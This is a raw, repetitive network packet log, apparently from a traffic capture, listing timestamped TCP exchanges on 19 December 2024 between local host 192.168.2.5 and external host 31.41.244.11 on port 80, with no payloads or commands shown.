Dec 19, 2024 03:09:37.253895998 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.253937960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.254739046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.254780054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.254847050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.254889011 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.255743980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.255791903 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.255858898 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.255903959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.256772041 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.256817102 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.256895065 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.256937027 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.257838964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.257883072 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.257921934 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.257960081 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.258755922 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.258800030 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.258837938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.258877993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.259783030 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.259824038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.259857893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.259902000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.260845900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.260885954 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.260972977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.261029959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.261873960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.261915922 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.261960983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.262001038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.262784958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.262825012 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.262892962 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.262932062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.263717890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.263757944 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.263835907 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.263878107 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.264755011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.264797926 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.264915943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.264956951 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.265727043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.265769958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.265845060 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.265887976 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.266750097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.266792059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.266828060 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.266870975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.267729044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.267776966 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.267868042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.267905951 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.268763065 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.268805027 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.268830061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.268865108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.269742012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.269778967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.269846916 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.269881964 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.270701885 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.270745993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.270946026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.270983934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.271714926 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.271750927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.271862030 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.271897078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.272741079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.272775888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.272847891 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.272886038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.273704052 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.273739100 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.273823023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.273861885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.274714947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.274751902 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.274806023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.274840117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.275716066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.275751114 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.275826931 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.275863886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.276750088 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.276788950 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.276837111 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.276875973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.277688026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.277725935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.277821064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.277858019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.278692007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.278731108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.278824091 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.278860092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.279707909 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.279745102 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.279814959 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.279850960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.280689955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.280724049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.280806065 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.280839920 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.281692028 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.281744003 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.281812906 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.281848907 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.282711029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.282747030 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.282861948 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.282901049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.283631086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.283668995 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.423404932 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.423489094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.423497915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.423537970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.423819065 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.423868895 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.424020052 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.424062014 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.424154997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.424196959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.425045967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.425090075 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.425187111 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.425225973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.426057100 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.426101923 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.426168919 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.426211119 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.427037001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.427078009 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.427139044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.427179098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.428024054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.428066969 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.428179026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.428222895 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.429054022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.429096937 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.429132938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.429174900 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.430048943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.430093050 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.430140972 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.430186987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.431011915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.431057930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.431135893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.431179047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.432022095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.432074070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.432140112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.432183981 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.433012009 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.433056116 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.433136940 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.433180094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.434039116 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.434082985 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.434149027 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.434190989 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.435000896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.435051918 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.435120106 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.435163021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.436018944 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.436060905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.436131001 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.436173916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.437027931 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.437072992 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.437166929 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.437211037 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.438035965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.438080072 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.438118935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.438172102 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.439032078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.439073086 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.439105988 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.439148903 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.440026999 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.440067053 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.440110922 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.440155983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.441032887 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.441076994 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.441109896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.441152096 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.441998005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.442042112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.442101955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.442142963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.443010092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.443052053 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.443119049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.443156958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.444008112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.444060087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.444113970 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.444156885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.444983006 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.445025921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.445133924 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.445173979 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.445996046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.446039915 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.446124077 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.446166039 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.446989059 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.447031975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.447132111 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.447174072 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.448085070 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.448124886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.448137045 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.448189974 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.448986053 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.449031115 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.449098110 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.449139118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.449990034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.450030088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.450109005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.450155020 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.450990915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.451034069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.451119900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.451157093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.452054977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.452096939 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.452150106 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.452192068 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.453051090 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.453093052 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.453145981 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.453188896 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.454083920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.454124928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.454168081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.454209089 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.454997063 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.455049038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.455126047 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.455166101 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.456005096 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.456047058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.456088066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.456125021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.456986904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.457031012 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.457079887 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.457123995 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.457983017 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.458025932 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.458102942 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.458142042 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.459021091 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.459064960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.459197044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.459238052 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.460021019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.460063934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.460105896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.460146904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.461024046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.461086035 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.461251020 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.461251020 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.462007046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.462065935 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.462115049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.462156057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.463013887 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.463057041 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.463093996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.463136911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.463987112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.464032888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.464108944 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.464149952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.464977026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.465018034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.465107918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.465150118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.466042995 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.466085911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.466120005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.466156960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.466989040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.467029095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.467096090 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.467134953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.467983007 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.468023062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.468080044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.468121052 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.468986034 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.469027996 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.469089031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.469127893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.470043898 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.470084906 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.470135927 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.470175982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.471076012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.471127987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.471162081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.471201897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.472014904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.472079039 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.472183943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.472244024 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.473011017 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.473068953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.473110914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.473151922 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.474011898 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.474066973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.474088907 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.474129915 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.474972963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.475024939 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.475107908 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.475152016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.623177052 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.623194933 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.623238087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.623274088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:37.623795033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:37.623809099 CET	80	49885	31.41.244.11	192.168.2.5
